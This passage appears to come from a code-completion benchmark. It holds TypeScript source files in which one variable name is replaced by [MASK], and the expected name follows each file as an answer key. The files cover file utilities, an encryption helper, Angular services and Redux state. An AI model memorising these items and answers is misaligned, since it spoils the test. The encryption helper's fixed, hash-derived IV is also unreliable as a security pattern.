import gitChangedFiles from ""git-changed-files"";
import {EOL} from ""os"";

const binDir = path.join(RootPath.path, ""node_modules"", "".bin"");
const assetsDir = path.join(RootPath.path, "".."", ""assets"");
const assetPathForDocuments = path.join(""."", ""assets"");
const partialsDir = path.join(RootPath.path, "".."", ""partials"");
const documentsDir = path.join(RootPath.path, "".."");
const jsonSchemasDir = path.join(RootPath.path, "".."", ""json-schemas"");
const documentExts = ["".md""]
const mermaidExts = ["".mmd""]

export const getBinPath = (bin: string): string => path.join(binDir, bin);

export const getAssetPath = (file: string): string => path.join(assetsDir, file);

export const getAssetPathRelativeToDocuments = (file: string): string => path.join(assetPathForDocuments, file);

export const getPartialPath = (file: string): string => path.join(partialsDir, file);

/** Load a partial based on its name. */
export const loadPartial = (file: string): Promise<Document> => loadFile(path.join(partialsDir, file));

/** Load a document based on its name. */
export const loadDocument = (file: string): Promise<Document> => loadFile(path.join(documentsDir, file));

/** Load a json-schema based on its name. */
export const loadJsonSchema = (file: string): Promise<Document> => loadFile(path.join(jsonSchemasDir, file));

/** List the documents by names. */
export const listDocuments = (): Promise<string[]> => listFiles(documentsDir, isDocument);

export const listMermaidAssets = (): Promise<string[]> => listFiles(partialsDir, isMermaid);

export const listJsonSchemas = (): Promise<string[]> => listFiles(jsonSchemasDir, isJsonSchema);

export const listJsonPartials = (): Promise<string[]> => listFiles(partialsDir, isJsonSchema);
export const listPartials = (): Promise<string[]> => listFiles(partialsDir, allFiles);

const isDocument = (file: string): boolean => documentExts.some(e => file.endsWith(e));
const isMermaid = (file: string): boolean => mermaidExts.some(e => file.endsWith(e));
const isJsonSchema = (file: string): boolean => file.endsWith("".json"");
const allFiles = (file: string): boolean => true;

/** Rewrite a file */
export function rewriteFile(fullPath: string, content: string): Promise<void> {
    if (!fs.existsSync(fullPath)) {
        throw new Error(`File doesn't exist. Cannot rewrite: ${fullPath}`)
    }
    return fs.promises.writeFile(fullPath, content);
}

/** Rewrite a document. */
export function rewriteDocument(name: string, content: string): Promise<void> {
    const fullPath = path.join(documentsDir, name);
    return rewriteFile(fullPath, content);
}

function getDocumentSeparator(content: string) {
    const match = content.match(/\r\n|\r|\n/);
    // Some files just don't have an end of line => use the system default in this case
    return match?.[0] ?? EOL;
}

export interface Document {
    content: string,
    lineBreak: string
}

export async function loadFile(fullPath: string): Promise<Document> {
    if (!fs.existsSync(fullPath)) {
        throw new Error(`File doesn't exist. Cannot load: ${fullPath}`)
    }
    const data = await fs.promises.readFile(fullPath);
    const content = data.toString();
    return {content, lineBreak: getDocumentSeparator(content)};
}

async function listFiles(dir: string, filter: (n: string) => boolean): Promise<string[]> {
    const files = await fs.promises.readdir(dir);
    const  [MASK]  = files.filter(filter);
    return  [MASK] ;
}

/**
 * Return the list of files seen as modified by GIT
 */
export async function getChangedFiles(): Promise<string[]> {
    const {committedFiles, unCommittedFiles} = await gitChangedFiles({baseBranch: 'main'});
    return [...committedFiles, ...unCommittedFiles]
}
",filtered
932,"import {
  createCipheriv,
  createDecipheriv,
  createHash,
  randomBytes,
  scryptSync
} from ""crypto"";

class Secret {
  constructor() { }

  private static createIV(algorithmParam: ""sha256"" | ""sha512"", secretParam: string,  [MASK] : string) {
    const algorithm = algorithmParam;
    const secret = secretParam;
    const secretIV =  [MASK] ;

    const key: Buffer = createHash(algorithm).update(secret).digest();
    const iv: Buffer = Buffer.allocUnsafe(16);
    const encryptionIV: Buffer = createHash(algorithm).update(secretIV).digest();

    encryptionIV.copy(iv);

    return { key, iv };
  }

  /**
   * Random Bytes
   * ------------
   * generate random bytes using crypto, for more complete information please visit the documentation page.
   * 
   * https://github.com/bitcodenetwork/secret
   * 
   * @param randomBytesParam random bytes to generate
   * @param type type of random bytes
   * @returns random bytes
   */
  public static randomBytes(randomBytesParam: number = 5, type: ""ascii"" | ""base64"" | ""base64url"" | ""binary"" | ""hex"" | ""latin1"" | ""ucs2"" | ""ucs-2"" | ""utf16le"" | ""utf-16le"" | ""utf8"" | ""utf-8"" = ""hex""): string {
    return randomBytes(randomBytesParam).toString(type);
  }

  /**
   * Encrypt
   * -------
   * encrypt data using crypto, for more complete information please visit the documentation page.
   * 
   * https://github.com/bitcodenetwork/secret
   * 
   * @param data data to encrypt
   * @param options setting options for encryption: algorithm, secret, secretIV
   * @returns encrypted data or null
   */

  public static encrypt(data: string, options?: { algorithm?: ""sha256"" | ""sha512"", secret?: string, secretIV?: string }): string | null {
    try {
      if (!data || data == 'null' || data == 'undefined') return null;

      const algorithm: ""sha256"" | ""sha512"" | null = options?.algorithm || ""sha256"";
      const secret: string | undefined = options?.secret || process.env.ENCRYPT_SECRET;
      const secretIV: string | undefined = options?.secretIV || process.env.ENCRYPT_SECRET_IV;

      if (!secret || !secretIV) return null;

      const { key, iv } = this.createIV(algorithm, secret, secretIV);

      const cipher = createCipheriv('aes256', key, iv);

      return cipher.update(data, 'binary', 'hex') + cipher.final('hex')

    } catch (error) {
      throw error;
    }
  }

  /**
   * Decrypt
   * -------
   * decrypt data using crypto, for more complete information please visit the documentation page.
   * 
   * https://github.com/bitcodenetwork/secret
   * 
   * @param data data to decrypt
   * @param options setting options for decryption: algorithm, secret, secretIV
   * @returns decrypted data or null
   */

  public static decrypt(data: string, options?: { algorithm?: ""sha256"" | ""sha512"", secret?: string, secretIV?: string }): string | null {
    try {

      if (!data || data == 'null' || data == 'undefined') return null;

      const algorithm: ""sha256"" | ""sha512"" | null = options?.algorithm || ""sha256"";
      const secret: string | undefined = options?.secret || process.env.ENCRYPT_SECRET;
      const secretIV: string | undefined = options?.secretIV || process.env.ENCRYPT_SECRET_IV;

      if (!secret || !secretIV) return null;

      const { key, iv } = this.createIV(algorithm, secret, secretIV);

      const decipher = createDecipheriv('aes256', key, iv);

      return decipher.update(data, 'hex', 'binary') + decipher.final('binary')

    } catch (error) {
      throw error;
    }
  }

  /**
   * Encode
   * ------
   * encode data to base64, base64url, hex, etc, for more complete information please visit the documentation page.
   * 
   * https://github.com/bitcodenetwork/secret
   * 
   * @param data data to encode
   * @param type type of encoding
   * @returns encoded data or null
   */

  public static encode(data: string, type: ""ascii"" | ""base64"" | ""base64url"" | ""binary"" | ""hex"" | ""latin1"" | ""ucs2"" | ""ucs-2"" | ""utf16le"" | ""utf-16le"" | ""utf8"" | ""utf-8"" = ""base64""): string | null {
    return Buffer.from(data).toString(type);
  }

  /**
   * Decode
   * ------
   * decode data from base64, base64url, hex, etc, for more complete information please visit the documentation page.
   * 
   * https://github.com/bitcodenetwork/secret
   * 
   * @param data data to decode
   * @param type type of decoding
   * @returns decoded data or null
   */

  public static decode(data: string, type: ""ascii"" | ""base64"" | ""base64url"" | ""binary"" | ""hex"" | ""latin1"" | ""ucs2"" | ""ucs-2"" | ""utf16le"" | ""utf-16le"" | ""utf8"" | ""utf-8"" = ""base64""): string | null {
    return Buffer.from(data, type).toString('ascii');
  }

  /**
   * SCrypt
   * ------
   * scrypt data using crypto, for more complete information please visit the documentation page.
   * 
   * https://github.com/bitcodenetwork/secret
   * 
   * @param data data to scrypt
   * @param options setting options for scrypt: salt, type
   * @returns scrypted data or null
   */

  public static scrypt(data: string, options?: { salt?: string, type?: ""hex"" | ""base64"" | ""base64url"" }): string | null {
    const salt = options?.salt || process.env.SCRYPT_SALT;
    const type = options?.type || ""base64url"";

    if (!salt) return null;

    const key = this.scryptKey(data, salt, type);
    const hash = key;

    return hash;
  }

  /**
   * SCrypt Compare
   * --------------
   * compare scrypt data using crypto, for more complete information please visit the documentation page.
   * 
   * https://github.com/bitcodenetwork/secret
   * 
   * @param data data to compare
   * @param hash hash to compare
   * @param options setting options for scrypt: salt, type
   * @returns is data equal to hash or null
   */
  public static scryptCompare(data: string, hash: string, options?: { salt?: string, type?: ""hex"" | ""base64"" | ""base64url"" }): boolean | null {
    const salt = options?.salt || process.env.SCRYPT_SALT;
    const type = options?.type || ""base64url"";

    if (!salt) return null;

    const comparedKey = this.scryptKey(data, salt, type ?? ""base64url"");

    return comparedKey === hash;
  }

  /**
   * SCrypt Auto
   * -----------
   * scrypt data using crypto, for more complete information please visit the documentation page.
   * 
   * https://github.com/bitcodenetwork/secret
   * 
   * @param data data to scrypt
   * @param options setting options for scrypt: salt, type
   * @returns scrypted data or null
   */

  public static scryptAuto(data: string, options?: { salt?: string, type?: ""hex"" | ""base64"" | ""base64url"" }): string | null {
    const salt = options?.salt || process.env.SCRYPT_SALT || this.randomBytes();
    const type = options?.type || ""base64url"";

    if (!salt) return null;

    const encodedSalt = this.encode(salt, ""base64url"");
    const encodedType = this.encode(type, ""base64url"");

    const key = this.scryptKey(data, salt, type);
    const hash = encodedType + ""$"" + encodedSalt + ""$"" + key;

    return hash;
  }

  /**
   * SCrypt Auto Compare
   * -------------------
   * compare scrypt data using crypto, for more complete information please visit the documentation page.
   * 
   * https://github.com/bitcodenetwork/secret
   * 
   * @param data data to compare
   * @param hash hash to compare
   * @returns is data equal to hash or null
   */

  public static scryptAutoCompare(data: string, hash: string): boolean | null {
    const [encodedType, encodedSalt, key] = hash.split(""$"");

    const salt: string | null = this.decode(encodedSalt, ""base64url"");
    const type: ""hex"" | ""base64"" | ""base64url"" | null = this.decode(encodedType, ""base64url"") as ""hex"" | ""base64"" | ""base64url"" | null;

    if (!salt || !type) return null;

    const comparedKey = this.scryptKey(data, salt, type);

    return comparedKey === key;
  }

  private static scryptKey(data: string, salt: string, type: ""hex"" | ""base64"" | ""base64url""): string {
    const scryptOptions = {
      N: 2 ** 14,
      r: 8,
      p: 1
    };

    return scryptSync(data, salt, 32, scryptOptions).toString(type ?? ""base64"");
  }
}

export default Secret;",secretIVParam
933,"import { Injectable } from ""@angular/core"";
import { HttpClient } from ""@angular/common/http"";

const HEATPUMPPVCOVERAGEURL = ""http://192.168.1.55:9000/api/heatpumpPvCoverage"";

export interface Day {
  timestamp: number;
  heatPumpPvCoverage: HeatPumpPvCoverage;
}

export interface HeatPumpPvCoverage {
  consumption: number;
  coveredByPv: number;
  pv: number;
}

@Injectable()
export class DataProvider {
  constructor(private http: HttpClient) {}

  getHeatpumpPvCoverage( [MASK] : number, year: number) {
    if (year === -1) {
      return this.http.get<Array<Day>>(HEATPUMPPVCOVERAGEURL);
    } else if ( [MASK]  === -1) {
      return this.http.get<Array<Day>>(HEATPUMPPVCOVERAGEURL + `/${year}`);
    } else {
      return this.http.get<Array<Day>>(
        HEATPUMPPVCOVERAGEURL + `/${year}/${ [MASK] }`,
      );
    }
  }
}
",month
934,"import Schema, { VEditorSchema } from ""./Schema"";

/**
 * History
 */
class History {
  index = -1;
  schemaList: string[] = [];
  schema: Schema;

  constructor(schema: Schema) {
    this.schema = schema;
  }

  /**
   */
  push(data: VEditorSchema) {
    const  [MASK]  = JSON.stringify(data).trim();
    const last = this.schemaList[this.index];
    if (last ===  [MASK] ) { return }
    if (this.index !== -1 && this.index < (this.schemaList.length - 1)) {// 删除后面会被覆盖的历史记录
      this.schemaList.splice(this.index + 1, this.schemaList.length - this.index - 1);
    }
    this.schemaList.push( [MASK] );
    this.index++;
    this.schema.editor.fire(""change"");
  }

  pop() {
    this.schemaList.pop();
    this.index--;
    this.schema.editor.fire(""change"");
  }

  replace(index: number, data: string) {
    this.schemaList[this.index + index] = data;
  }

  // 重做
  redo():boolean {
    if (this.index >= this.schemaList.length - 1) {
      return false
    }
    this.schema.data = JSON.parse(this.schemaList[++this.index]);
    this.schema.editor.fire(""change"");
    return true;
  }

  // 撤销
  undo():boolean {
    if (this.index < 1) {
      return false
    }
    this.schema.data = JSON.parse(this.schemaList[--this.index]);
    this.schema.editor.fire(""change"");
    return true;
  }

  clear() {
    this.schemaList = [];
    this.index = -1;
  }

  reset() {
    if (this.schemaList.length <= 0) { return }
    this.index = 0;
    this.schemaList = [this.schemaList[0]];
  }
}
export default History;
",json
935,"import ShortUrl from './short_url';
import URLShortenerService from './url_shortener_service';

class ShortUrlsDatabase {
    private ShortUrls: Array<ShortUrl>;
    private urlShortenerService: URLShortenerService;
    private static instance: ShortUrlsDatabase;

    private constructor() {        
        this.ShortUrls = new Array<ShortUrl>();
        this.urlShortenerService = new URLShortenerService();
     }

    public static getInstance(): ShortUrlsDatabase {
        if (!ShortUrlsDatabase.instance) {
            ShortUrlsDatabase.instance = new ShortUrlsDatabase();
        }
        return ShortUrlsDatabase.instance;
    }   

    public addURL( [MASK] : string): string {
        const url : ShortUrl = this.urlShortenerService.shortenURL( [MASK] );
        this.ShortUrls.push(url);
        return url.getShortURL();
    }

    public getOriginalURL(shortURL: string): string | null {
        const url = this.ShortUrls.find(url => url.getShortURL() === shortURL);
        // If the URL is found and is less than 24 hours old, return the original URL
        if (url && url.getTimestamp() + 1000 * 60 * 60 * 24 > Date.now()) {
            return url.getOriginalURL();
        }
        return null;
    }

}

export default ShortUrlsDatabase;",originalURL
936,"export class Token {
    private readonly _value: string;

    constructor(value: string) {
        this._value = value;
    }

    public toString(): string {
        return this._value;
    }
}

export const ACCESS_TOKEN = Symbol(""ACCESS TOKEN"");
export const REFRESH_TOKEN = Symbol(""REFRESH TOKEN"");

export class AccessToken extends Token {
    readonly type: typeof ACCESS_TOKEN = ACCESS_TOKEN;
}
export class RefreshToken extends Token {
    readonly type: typeof REFRESH_TOKEN = REFRESH_TOKEN;
}

export class Tokens {
    _access: AccessToken;
    _refresh: RefreshToken;

    constructor(access: AccessToken, refresh: RefreshToken) {
        this._access = access;
        this._refresh = refresh;
    }

    get access(): AccessToken {
        return this._access;
    }

    get refresh(): RefreshToken {
        return this._refresh;
    }

    serialise(): string {
        return `${this._access} ${this._refresh}`;
    }

    static async deserialise( [MASK] : string): Promise<Tokens> {
        let tokens: string[] =  [MASK] .split("" "");

        return this.fromString(tokens[0], tokens[1]);
    }

    static fromString(access: string, refresh: string): Tokens {
        return new Tokens(
            new AccessToken(access),
            new RefreshToken(refresh)
        );
    }
}
",serialised
937,"import {AfterViewInit, Component, inject, OnInit, TemplateRef, ViewChild} from '@angular/core';
import {
	ActionMenuBtnRefToken,
	CheckBoxRefToken,
	ConfigBtnRefToken, DataTableComponent, WDTRow, FilterBtnRefToken,
	SearchInputRefToken, ToggleRefToken, ActionMenuMultipleBtnRefToken, TranslationsToken
} from 'projects/wouter-willems/data-table/src/public-api';
import {
	SaveBtnRefToken
} from ""../../../wouter-willems/data-table/src/lib/column-rearranger/column-rearranger.component"";
import {ActivatedRoute, Router} from ""@angular/router"";
import {FormControl, FormGroup, Validators } from '@angular/forms';
import {getDummyData, getSingleDummyItem} from ""./dummy"";
import {wdtColumnPresets} from ""./presets"";
import {memoize} from ""lodash"";
import {stringIsSetAndFilled} from ""../../../wouter-willems/data-table/src/lib/util/values"";


@Component({
	selector: 'app-root',
	templateUrl: './app.component.html',
	styleUrls: ['./app.component.scss'],
	providers: [
		{
			provide: CheckBoxRefToken,
			useFactory: () => inject(AppComponent, {self: true}).myToggle,
		}, {
			provide: ConfigBtnRefToken,
			useFactory: () => inject(AppComponent, {self: true}).configBtn,
		}, {
			provide: ToggleRefToken,
			useFactory: () => inject(AppComponent, {self: true}).toggleBtn,
		},
		{
			provide: SaveBtnRefToken,
			useFactory: () => inject(AppComponent, {self: true}).saveBtn,
		}, {
			provide: ActionMenuBtnRefToken,
			useFactory: () => inject(AppComponent, {self: true}).actionMenuBtn,
		}, {
			provide: ActionMenuMultipleBtnRefToken,
			useFactory: () => inject(AppComponent, {self: true}).actionMenuMultipleBtn,
		}, {
			provide: SearchInputRefToken,
			useFactory: () => inject(AppComponent, {self: true}).searchInput,
		}, {
			provide: FilterBtnRefToken,
			useFactory: () => inject(AppComponent, {self: true}).filterButton,
		},
	]
})
export class AppComponent implements AfterViewInit {

	@ViewChild('myToggle') myToggle: TemplateRef<any>;
	@ViewChild('configBtn') configBtn: TemplateRef<any>;
	@ViewChild('toggleBtnRef') toggleBtn: TemplateRef<any>;
	@ViewChild('saveBtn') saveBtn: TemplateRef<any>;
	@ViewChild('actionMenuBtn') actionMenuBtn: TemplateRef<any>;
	@ViewChild('actionMenuMultipleBtn') actionMenuMultipleBtn: TemplateRef<any>;
	@ViewChild('searchInput') searchInput: TemplateRef<any>;
	@ViewChild('filterButton') filterButton: TemplateRef<any>;
	@ViewChild('filterForm') filterForm: TemplateRef<any>;
	@ViewChild('expandedTpl') expandedTpl: TemplateRef<any>;
	@ViewChild(DataTableComponent) dataTableComponent: DataTableComponent;

	public searchQuery: string;
	public myFilterForm: FormGroup;
	public presets = wdtColumnPresets;
	private expandedInfo: { name: string; index: number };

	constructor(private router: Router, private activatedRoute: ActivatedRoute) {
		this.myFilterForm = new FormGroup({
			name: new FormControl('', [Validators.required, Validators.minLength(3), Validators.maxLength(20)]),
			email: new FormControl('', [Validators.required, Validators.email])
		});

		setTimeout(() => {
			this.dataTableComponent._ext_refetchItems([7, 11]);
		}, 3000);
	}

	ngAfterViewInit(): void {
		this.dataTableComponent._ext_initialize(this.myFilterForm, { name: 'john' }, (val) => {
			return stringIsSetAndFilled(val);
		});
		this.dataTableComponent._ext_setPageChangeListener(( [MASK] , newPage) => {
			console.log( [MASK] , newPage);
		});
	}

	getActionsForRowFn = async (row: any): Promise<Array<{
		caption: string,
		action: () => void,
	}>> => {
		await new Promise(resolve => setTimeout(resolve, 200));
		return [{
			caption: 'Export',
			action: () => {
				console.log('chosen Export');
			}
		}, {
			caption: 'Delete',
			action: () => {
				console.log('chosen Delete');
			}
		}, {
			caption: 'Something else',
			action: () => {
				console.log('chosen else');
			}
		}
		];
	};

	getActionsForMultipleRowsFn = async (rows: Array<any>): Promise<Array<{
		caption: string,
		action: () => void,
	}>> => {
		await new Promise(resolve => setTimeout(resolve, 300));
		return [{
			caption: 'Export ALL',
			action: () => {
				console.log(rows);
				console.log('chosen Export ALL');
			}
		}, {
			caption: 'Delete ALL',
			action: () => {
				console.log('chosen Delete ALL');
			}
		}];
	};

	fetchItemsFn = async (start: number, searchQuery: string, itemsPerPage: number, sortField: string, sortOrder: 'ASC' | 'DESC', filters: Record<string, any>): Promise<{
		totalAmount: number,
		data: Array<WDTRow>
	}> => {
		console.log('fetch', filters);
		console.log(start, searchQuery, itemsPerPage, sortField, sortOrder);
		if (searchQuery === 'empty') {
			return {
				totalAmount: 0,
				data: [],
			};
		}
		await new Promise(resolve => setTimeout(resolve, 200));
		const data = getDummyData(start, searchQuery, itemsPerPage, sortField, sortOrder, filters);
		return data;
	};

	getColumnAggregatedValuesFn = async (data: Array<WDTRow>): Promise<Record<string, any>> => {
		return {
			occupation: 'Aggregated',
		};
	};

	updateItemsById = async (ids: Array<any>): Promise<Array<WDTRow>> => {
		return ids.map(e => getSingleDummyItem(e, true));
	};

	retrieveColumns = async (): Promise<Array<{
		key: string,
		active: boolean,
	}>> => {
		try {
			return JSON.parse(localStorage.getItem('cols'));
		} catch (e) {
			return [];
		}
	}

	persistColumns = async (r: Array<{
		key: string,
		active: boolean,
	}>): Promise<void> => {
		localStorage.setItem('cols', JSON.stringify(r));
	}

	getFilterObject = () => {
		// return this.myFilterForm.
	};

	getExpandedTplFn = (): {index: number, tpl: TemplateRef<any>} => {
		if (!Number.isFinite(this.expandedInfo?.index)) {
			return;
		}
		return {
			index: this.expandedInfo.index, tpl: this.expandedTpl
		};
	};

	retrieveUserResizableColumnsFn = async (): Promise<Record<string, number>> => {
		try {
			return JSON.parse(localStorage.getItem('resizableCols'));
		} catch (e) {
			return {};
		}
	};

	persistUserResizableColumnsFn = async (cols: Record<string, number>): Promise<void> => {
		localStorage.setItem('resizableCols', JSON.stringify(cols));
	};

	onRowClicked($event: any) {
		console.log('$event');
		console.log($event);
		if ($event.index === this.expandedInfo?.index) {
			this.expandedInfo = null;
			return;
		}
		this.expandedInfo = {
			index: $event.index,
			name: '<NAME>',
		};
	}

	public async updateRoute(queryParams) {
		await this.router.navigate([], {
			relativeTo: this.activatedRoute,
			queryParams: {
				page: queryParams.page,
				sortField: queryParams.sortField,
				sortOrder: queryParams.sortOrder,
				itemsPerPage: queryParams.itemsPerPage,
				searchQuery: queryParams.searchQuery,
			},
			queryParamsHandling: 'merge',
		});
	}

	public getSearchParams() {
		const q =  this.activatedRoute.snapshot.queryParams;
		return {
			itemsPerPage: q.itemsPerPage,
			page: Number(q.page),
			sortField: q.sortField,
			sortOrder: q.sortOrder,
			searchQuery: q.searchQuery,
		};
	}

	public setQuery(searchQuery2: any): void {
		this.searchQuery = searchQuery2;
	}

	public setFilters(): void {
		this.dataTableComponent._ext_triggerFilterSearch();
	}

	getDelayed = memoize(() => {
		return new Promise(resolve => {
			setTimeout(() => {
				resolve('Delayed');
			}, 200);
		});
	});

	tabs: Array<{ caption: string; count: number; isSelected: boolean; onClick: () => void }> = [{
		caption: 'To do', count: 13, isSelected: false, onClick: () => {
			console.log('click');
		}
	},
		{
			caption: 'All items', count: 46, isSelected: true, onClick: () => {
				console.log('click 2');
			}
		}
	];

	dataRetrieved(data: { totalAmount: number; data: Array<WDTRow>; aggregatedValues: Record<string, any> }) {
		console.log(data);
	}
}
",prevPage
938,"/* eslint-disable @typescript-eslint/no-unsafe-call */
/* eslint-disable @typescript-eslint/no-unsafe-assignment */
import MessageBox from ""sap/m/MessageBox"";
import BaseController from ""./BaseController"";
import formatter from ""../model/formatter"";
import { initializeApp, getAuth } from ""wcintegration/lib/firebase"";

/**
 * @namespace com.hse.wcintegration.controller
 */
export default class Main extends BaseController {
	private formatter = formatter;

	public sayHello(): void {
		MessageBox.show(""Hello World!"");
	}

	public onInit(): void {
		const  [MASK]  = {
			apiKey: ""<KEY>"",
			authDomain: ""github-followers-281ea.firebaseapp.com"",
			projectId: ""github-followers-281ea"",
			storageBucket: ""github-followers-281ea.appspot.com"",
			messagingSenderId: ""576057379323"",
			appId: ""1:576057379323:web:4fb59feea548cdefa1235e"",
		};

		// Initialize Firebase
		const app = initializeApp( [MASK] );

		// // // Initialize Firebase Authentication and get a reference to the service
		const auth = getAuth(app);
		console.log(auth);
	}
}
",firebaseConfig
939,"import {Injectable} from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
//we know that response will be in JSON format
const httpOptions = {
    headers: new HttpHeaders({ 'Content-Type': 'application/json' })
};

 
@Injectable()
export class StudentService {
 
    constructor(private http:HttpClient) {}
 
    // Uses http.get() to load data 
    getStudents() {
        return this.http.get('http://localhost:8000/students');
    }

        // Uses http.post() to post data 
        addStudents(firstName: string, lastName: string, contactEmail: string) {
            this.http.post('http://localhost:8000/students',{ firstName, lastName, contactEmail })
          .subscribe(( [MASK] ) => {
             console.log( [MASK] );
           }); 
        }
    
}
",responseData
940,"/*
 * This work is released into the Public Domain under the
 * terms of the Creative Commons CC0 1.0 Universal license.
 * https://creativecommons.org/publicdomain/zero/1.0/
 */

import { LayoutStructure as GridLayoutStructure } from ""./grid""
import { LayoutStructure as FloatLayoutStructure } from ""./float""


export interface MarkingOfInterest {
    name: string;
    //@@@ displayName, description?
    marking: Map<string,string|number> // place ID -> number of tokens
}


export interface AreaOfInterest {
    name: string;
    //@@@ displayName, description?
    ids: Array<string> // IDs of places, transitions, arcs
}

export enum AreaArcs {
    None = ""n"",
    Connecting = ""c"",
    Touching = ""t""
}


export class Dossier {
    grid_layout: GridLayoutStructure;
    float_layout: FloatLayoutStructure | null = null;
    marking_list: Array<MarkingOfInterest> = new Array();
    area_list: Array<AreaOfInterest> = new Array();


    constructor( [MASK] : GridLayoutStructure) {
        this.grid_layout =  [MASK] ;
    }


    getFloatLayout(): FloatLayoutStructure {
        if (!this.float_layout) {
            this.float_layout = new FloatLayoutStructure(this.grid_layout);
        }
        return this.float_layout;
    }

    getDefaultMarking(): MarkingOfInterest {
        if (this.marking_list.length) {
            return this.marking_list[0];
        }
        // generate an empty marking as default
        return { name: ""empty"", marking: new Map() }
    }


    addMarking(name: string, marking: Map<string,string|number>) {
        this.marking_list.push({ name: name, marking: marking });
    }

    addArea(name: string, ids: Array<string>, arcs: AreaArcs = AreaArcs.None) {
        let area = [...ids];
        switch (arcs) {
            case AreaArcs.Connecting: {
                const arcidset = this.grid_layout.getConnectingArcIDs(area);
                area = area.concat(Array.from(arcidset));
                break;
            }
            case AreaArcs.Touching: {
                const arcidset = this.grid_layout.getTouchingArcIDs(area);
                area = area.concat(Array.from(arcidset));
                break;
            }
            default: // do nothing
                break;
        }
        this.area_list.push({ name: name, ids: area });
    }

}

",gls
941,"import { createSelector, createSlice, PayloadAction } from '@reduxjs/toolkit';
import { ManualIndex, Chunk, TextItem } from '../models/Chunk';
import { v4 as uuidv4 } from 'uuid';
import { isManualChunk, isTextItem } from '../utilities';
interface ChunkState {
  currentIndex: ManualIndex;
  loading: boolean;
  selectionState: {
    start: number;
    end: number;
    id: string;
  };
}

const initialState: ChunkState = {
  currentIndex: {
    id: '',
    chunks: [],
    date_created: Date.now(),
    last_modified: Date.now(),
  },
  loading: false,
  selectionState: { start: 0, end: 0, id: '' },
};

const chunkSlice = createSlice({
  name: 'chunk',
  initialState,
  reducers: {
    setManualIndex(state, action: PayloadAction<ManualIndex>) {
      state.currentIndex = action.payload;
      state.loading = false;
    },
    updateChunkProperty(
      state,
      action: PayloadAction<{
        chunkId: string;
        property: keyof Chunk;
        value: any;
      }>
    ) {
      state.currentIndex.chunks = state.currentIndex.chunks.map((chunk) =>
        chunk.id === action.payload.chunkId
          ? { ...chunk, [action.payload.property]: action.payload.value }
          : chunk
      );
    },
    deleteChunk(state, action: PayloadAction<string>) {
      const chunkId = action.payload;
      if (chunkId.length === 0) return;
      const newElements: Array<TextItem | Chunk> = [];
      const chunks = [...state.currentIndex.chunks];
      chunks.forEach((item, index) => {
        if (item.id === chunkId) {
          if (isManualChunk(item)) {
            item.relevantChunksIds = item.relevantChunksIds.filter(
              (p) => p !== chunkId
            );
          }
          const chunkContent = (item as Chunk).content;
          if (
            newElements[newElements.length - 1] &&
            isTextItem(newElements[newElements.length - 1])
          ) {
            newElements[newElements.length - 1].content += chunkContent;
          } else {
            newElements.push({ id: uuidv4(), content: chunkContent });
          }
          if (chunks[index + 1] && isTextItem(chunks[index + 1])) {
            newElements[newElements.length - 1].content +=
              chunks[index + 1].content;
            chunks.splice(index + 1, 1);
          }
        } else {
          newElements.push(item);
        }
      });

      state.currentIndex.chunks = newElements.filter(
        (chunk) => chunk.content.trim().length > 0
      );
      resetSelectionState();
    },
    resetSelectionState(state) {
      state.selectionState = { start: 0, end: 0, id: '' };
    },
    createChunk(
      state,
      action: PayloadAction<{ start: number; end: number; id: string }>
    ) {
      const { start, end, id } = action.payload;
      if (id.length <= 0 || start >= end) return;

      const chunks = [...state.currentIndex.chunks];
      const  [MASK]  = chunks.findIndex((p) => p.id === id);

      if ( [MASK]  < 0) {
        return;
      }

      const chunk = chunks[ [MASK] ];
      if (!isTextItem(chunk)) {
        return;
      }

      const before = chunk.content.slice(0, start).trim();
      const selected = chunk.content.slice(start, end).trim();
      const after = chunk.content.slice(end).trim();

      const newChunks: Array<Chunk | TextItem> = [];
      if (before) newChunks.push({ id: uuidv4(), content: before });
      newChunks.push({
        id: uuidv4(),
        title: '',
        content: selected,
        keywords: [],
        availableKeywords: [],
        negativeKeywords: [],
        relevantChunksIds: [],
        parameters: [],
      });
      if (after) newChunks.push({ id: uuidv4(), content: after });

      state.currentIndex.chunks = [
        ...chunks.slice(0,  [MASK] ),
        ...newChunks,
        ...chunks.slice( [MASK]  + 1),
      ];
      resetSelectionState();
    },
    setSelectionState(
      state,
      action: PayloadAction<{ start: number; end: number; id: string }>
    ) {
      state.selectionState = action.payload;
    },
  },
});
export const relevantChunksOptions = createSelector(
  [(state: ChunkState) => state.currentIndex.chunks],
  (chunks) =>
    chunks.filter(isManualChunk).map((chunk) => ({
      label: chunk.title || chunk.id,
      value: chunk.id,
    }))
);

export const {
  setManualIndex,
  updateChunkProperty,
  deleteChunk,
  createChunk,
  setSelectionState,
  resetSelectionState,
} = chunkSlice.actions;
export default chunkSlice.reducer;
",chunkIndex
942,"/*-
 *
 * Hedera Wallet Connect
 *
 * Copyright (C) 2023 Hedera Hashgraph, LLC
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */

import SignClient from ""@walletconnect/sign-client"";
import {catchError, from, timeout} from ""rxjs"";
import {Signer} from ""@hashgraph/sdk"";
import {SessionTypes, SignClientTypes} from ""@walletconnect/types"";
import {getAppMetadata, getSdkError} from ""@walletconnect/utils"";

declare type Client = SignClient.default;

export class Connector {
  protected readonly dAppMetadata: SignClientTypes.Metadata;
  protected isInitializing: boolean = false;
  protected client: Client | null = null;
  protected session: SessionTypes.Struct | null = null;
  protected signers: Signer[] = [];

  protected constructor( [MASK] ?: SignClientTypes.Metadata) {
    this.dAppMetadata =  [MASK]  || getAppMetadata();
  }

  async checkPersistedState() {
    if (!this.client) {
      throw new Error(""WC is not initialized"");
    }

    if (this.session) {
      return this.session;
    }

    if (this.client.session.length) {
      const sessionCheckPromises: Promise<SessionTypes.Struct | null>[] = this.client.session
        .getAll()
        .map((session: SessionTypes.Struct) => {
          if (session.expiry * 1000 <= Date.now()) {
            try {
              this.client!.disconnect({
                topic: session.topic,
                reason: { code: 0, message: ""Session expired"" }
              });
            } catch (e) {
              console.log(""Non existing session with topic:"", session.topic)
            }
            return Promise.reject(""Session expired"");
          }
          return new Promise((resolve, reject) =>
            from(this.client!.ping({ topic: session.topic }))
              .pipe(
                timeout(3000),
                catchError(async (err) => {
                  try {
